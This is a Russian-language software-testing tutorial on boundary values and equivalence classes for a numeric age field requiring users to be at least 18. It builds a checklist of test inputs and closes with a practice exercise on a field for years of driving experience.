Логично, что возраст не может быть меньше нуля. Так что 0 это граница. Тестируем!



Граница сверху:

Нуууу Врядли возраст будет больше 35 лет. Хотя что мешает бабушке зайти на сайт? Может быть, 65? 88?

Здесь границу найти сложно. Вот взять значение из диапазона не слишком верится в это легко, а конкретной границы нету. Значит, и тестировать нечего. Сверху логической границы нет.

Поиск технологической границы я вынесла в отдельный пункт, так что вернемся к нему чуть позже. В любом случае это менее важно, чем выверить валидные границы, которые есть в ТЗ.

См также:
Типы границ на примере стиральной машинки
Зачем тестировать граничные значения

Как найти границы на клиенте и сервере
Мнемоника БМВ для поиска граничных значений

Пограничные значения

Если у нас есть граница, то есть и пограничные значения. И их тоже надо проверять!
В примере с возрастом граница 18. Значит, пограничные значения 17 и 19.



Зачем проверять пограничные значения? Да затем, что разработчик мог ошибиться в коде и указать границу немного не там.

if x > 18 if x > 17 

Если у нас граница сдвинута, а мы не тестируем пограничные значения, то можем легко пропустить этот баг. Ведь мы проверили:

• границу 18. 18 > 17, так что все работает
• недопустимое значение из диапазона слева 10. 10 < 17, так что выдало ошибку.

Делаем вывод, что всё работает правильно, хотя это не так! Так что обязательно проверяем пограничные значение.

Но нужно ли тестировать пограничные значения в обеих сторон? С 17 разобрались, нужно. А 19? Допустим, разработчик опечатался в другую сторону:

if x > 18 if x > 19 

Мы найдем этот баг проверкой граничного значения 18. А если на 18 работает и на числе внутри диапазона (например, 26) работает значит, код написан верно. То есть чтобы в коде был баг, это как надо извратиться то, написать что-то типа:

if (x == 18 or x > 21) 

Такое только специально можно сделать)) Ну а если рассчитывать на разработчика-дурака со злыми шутками в виде таких пасхалок, то остается только полный перебор делать. Так что давайте считать коллег адекватными людьми.

Но! Что, если разработчик описывает работу кода для нескольких интервалов? Тогда при опечатке диапазоны идут внахлест:

if x <= 19 (ОПЕЧАТКА) if (x > 18 and x < 55) 

Число 18 ошибку уже не поймает, ведь 18 <= 19, а во второй диапазон уже не попадает. Вот и будет ситуация, что на границе работает, внутри диапазона работает, а на пограничном значении нет.

Так что если нет доступа к коду, стоит проверить пограничные с обеих сторон, а то мало ли, где там опечатка закралась?

Дело становится еще интереснее, если в поле можно ввести не только целое число, но и дробное. Что тогда будет пограничным значением? Стоит начать с одного знака после запятой. В нашем примере это 17.9 и 18.1:



Хорошо, допустим, проверили:

• Целые границы 17 и 19
• Дробные границы 17.9 и 18.1

Но если такие значения округляются нормально, значит ли это, что и другие тоже будут округляться хорошо? Что будет, если ввести значение 17.99999999999 (после запятой 11 девяток, а результатом округления является попадание на границу)?

Это разные классы эквивалентности, если мы говорим о дробях, которые будут округляться:

• Один знак после запятой
• Много знаков

И стоит проверить оба! Так что добавляем новые тесты: 17.99999999999 и 18.00000000001

Дробное число (формат)

Если система позволяет вводить дробные значения, то мы проверяем их ещё в пункте 1, при тестировании корректных значений. Просто разбиваем понятие корректное число:

• Целое
• Дробное

А пункт дробное разбиваем дальше. Ведь дробное число можно записать через:

• точку 6.9
• запятую 6,9

Если работает один из способов, это совсем не значит, что будет работать второй! У меня даже есть пример двух калькуляторов, которые работают с дробными числами по-разному http://bugred.ru/calc/.

См также:
Не пишите в баге Ввести 6,9! разбор багов в калькуляторе

Значит, нам нужно убедиться, что работают оба способа. По крайней мере если они должны работать. Если должен работать только один, потому что стандарты запрещают использовать другой проверяем, что второй возвращает ошибку!

В случае с возрастом прикидываем, что будет позитивным дробным значением? Скорее всего, половинка например, 20.5 лет:



Проверили? Работает? Тогда смотрим через запятую 20,5:



То, что дробные в принципе работают проверили. Хорошо.

Дробное число (округление)

Особый интерес представляют значения, близкие к граничным, а не любые дробные значения. При приближении к границе на расстояние, меньшее точности вычислений, мы можем попасть в ситуацию, когда проверки значения на допустимость успешно проходят, но вычисления завершаются неуспешно.

Так что если у вас можно вводить нецелое число, обязательно попробуйте много девяток после запятой, приближенной к границе значение (мы это уже сделали пунктом выше):



При этом нет смысла проверять округление и через точку, и через запятую. Это будет лишнее дублирование тестов. Проверяем отдельно:

• формат через точку или запятую
• округление когда один или много знаков после запятой

См также:
В тестировании всегда начинаем с простого! почему не надо смешивать проверки

Ноль

Ноль мы тестируем всегда. И везде. Просто запомните это как аксиому. Просто потому, что в нуле часто встречаются баги.

Потому, что это обычно граница. Она может быть явной (прописанной в ТЗ) или неявной (в ТЗ не написано, но и так понятно, что возраст отрицательным быть не может).

Если мы говорим именно про числовое поле, то пробуем ввести число 0. Хотя, конечно ноль в тестировании выходит за рамки простого числа.

См также:
Класс эквивалентности Ноль-не ноль подробнее о тестировании нуля, и не только в числовых полях!

Один

Так как мы всегда проверяем ноль, то не забываем и о приграничном значении единице.

Фактически это обычно минимально возможное значение, если мы не говорим о дробных значениях:

Логично, что если мы делаем заказ, то покупаем хотя бы 1 книжку, или 1 платьюшко, или 1 кг муки
Минимальный возраст 1 день / месяц / год
Минимальное количество времени 1 секунда
Минимальное количество трудового стажа 1 день / месяц / год


Так что единица не менее магическое число, чем ноль. Проверяем и её!

Пустое поле

Фактически это тоже тест на ноль. Только уже не на число ноль, а на ноль в длине вводимой строки.

Ведь если мы вводим 0, это получается один символ.
А если мы изучаем длину строки, стоит проверить не только один, но и ноль.

Не забудьте, что ноль это не только число. Даже в числовом поле у нас будет минимум два нуля пустая строка и число 0. Может быть и больше нулей не забывайте про ноль на выходе. Но в нашем примере с возрастом его нет.

Очень большое число

Для поиска технологической границы нужно ввести очень большое число. Например, 9999999999999999.



Мы пытаемся зайти так далеко, как только это возможно. Но не слишком упарываясь это должен быть один тест, ну два.

Сначала можно оттолкнуться от значения integer чаще всего для числового поля выбирают именно такой тип данных. Если получилось его превысить, просто проверяем 25 или 45 девяток в поле. Не упало? Ну и чудненько. Технологической границы нет, но мы хотя бы попытались ее найти.

См также:
Как сгенерить большую строку, инструменты не обязательно делать это руками))
Технологическая граница в подсказках по ЮЛ пример реального бага

Если поле допускает ввод отрицательных значений, то проверяем много девяток как со знаком плюс, так и со знаком минус, проводя два теста:

• 99999999999999999999999
• -99999999999999999999999

Напоминаю если в поле нельзя ввести много символов, это не повод опускать руки и говорить технологическую границу проверить нельзя!. Потому что если в поле нельзя вводить много символов там скорее всего стоит maxlength на поле, который легко обходится. Сняли ограничение на клиенте и убедились, что на сервере защита от дурака тоже есть.

См также:
Как снять maxlength со всех полей формы
Как найти границы на клиенте и сервере

Отрицательное число

Когда у нас есть число, то всегда помним, что оно может быть:

• положительное
• отрицательное

При этом по опыту проводимых мною собеседований могу точно сказать, что немногие додумываются до проверки а если ввести отрицательное значение. А ведь система может работать по разному:

• выдавать ошибку такого возраста / количества товара не существует, введите положительное число;
• отсекать знак минус и работать с отрицательным числом как с положительным.

Это помимо того, что отрицательное число может быть вполне нормальным для поля (например, если мы сохраняем доходы / расходы).

Что тестируем в этом разделе?

• Что будет, если ввести отрицательное число, которое по модулю будет корректным: -26 в нашем примере
• Попытка найти технологическую границу: -99999999999999999999999

Нечисловые и не совсем числовые значения

Если вы думаете, что для проверки нечислового значения достаточно вбить любую строку типа привет, то вы ошибаетесь )))

Строки тоже бывают разные, и их можно разбить на:

• множество строк, которые программа интерпретирует как числа;
• множество строк, которые программа не может интерпретировать как числа.

Очень хорошо тесты для не совсем числовых значений рассмотрены в этой статье: Классы эквивалентности для строки, которая обозначает число

Я не буду ее полностью переписывать, просто дополню список проверок для нашего примера. Что мы еще не смотрели:

• Точно не число Тест
• Лидирующий ноль 025
• Пробел перед числом 25
• Пробел внутри числа 2 5
• Запись через е 1.2e+2
• Шестнадцатеричное значение 0xba
• Infinity (да, прям так текстом и пишем)
• NaN

В нашем случае с корректным значением возраста от 18 лет пункт пробел внутри числа становится интереснее. Тут ведь зависит от логики работы системы. Тут есть разные варианты:

• Ругаться, если введено несколько слов
• Отсекать всё, что идет после первого пробела 2 5 2
• Убирать пробел и делать вид, что его не было (воспринимать как опечатку в цифре) 2 5 25

Аналогично с буквами. Система может ругаться, увидев их, а может просто выкинуть. Так что посмотрим новые варианты тестов:

• до пробела меньше 18 лет 2 5
• до пробела больше 18 лет 25 6
• после пробела текста 25 тест
• до пробела текст тест 25

При этом учтите в интерфейсе мы просто вводим какое-то значение, не указывая тип данных. А вот если мы тестируем REST API и json-сообщение в нем, то обязательно стоит попробовать передать число строкой:

• number: 3
• number: 3

Это разные значения. Если значение без кавычек это число. Если в кавычках строка, даже если выглядит как число. Может быть, разработчик сделает приведение типов в коде и примет второй вариант, а может, и нет. В любом случае, проверить стоит!

Соединяем все вместе: чек-лист для возраста

Идеи для проверок записали, обсудили каждую. Теперь давайте соединим все пункты вместе и напишем чек-лист для нашего примера.

Напомню условие у нас есть поле возраст при регистрации. При этом на сайте нельзя регистрироваться до 18 лет, запрещённый контент есть.



При составлении чек-листа учитываем все пункты, которые обсудили выше. Но не забываем о приоритетах. Начинаем всегда с основных проверок, а не с вбили ноль, отрицательное число и вообще всячески попытались сломать.


* Если работает 18.000000000001, то проверять целое число 19 смысла нет. Если дробные не принимаются системой, тогда да, проверяем на 19

Конечно, проверки из блока нецелые числа не супер-важны. Иногда на них можно и нужно забить. Особенно если мы знаем, что система не должна ничего анализировать, убирать пробелы, выкидывать текст и прочая Тогда достаточно взять одно значение из этого списка. А остальные использовать для эффекта пестицида, то есть каждый раз новый вариант не числа.

Но ведь для того, чтобы отсекать лишнее, надо сначала научиться генерировать много идей! Вот в этом мы с вами сегодня и потренировались =)

См также:
Читлист для числового поля в Ситечке (нужно авторизоваться)
Где брать идеи для тестов (подборка полезных ссылок)

Попробуй сам

Напишите чек-лист проверок для поля Стаж вождения. В зависимости от стажа идёт расчет страховки. У всех интервалов слева число включительно, а справа нет.

• 0-3 года 1000 руб
• 3-6 лет 700 руб
• 6-10 лет 500 руб
• 10+ лет 300 руб

Форма не дает вводить ничего, кроме цифр (это ограничение стоит на клиенте). Дробные значения недопустимы, сколько полных лет стажа есть, столько и пишем.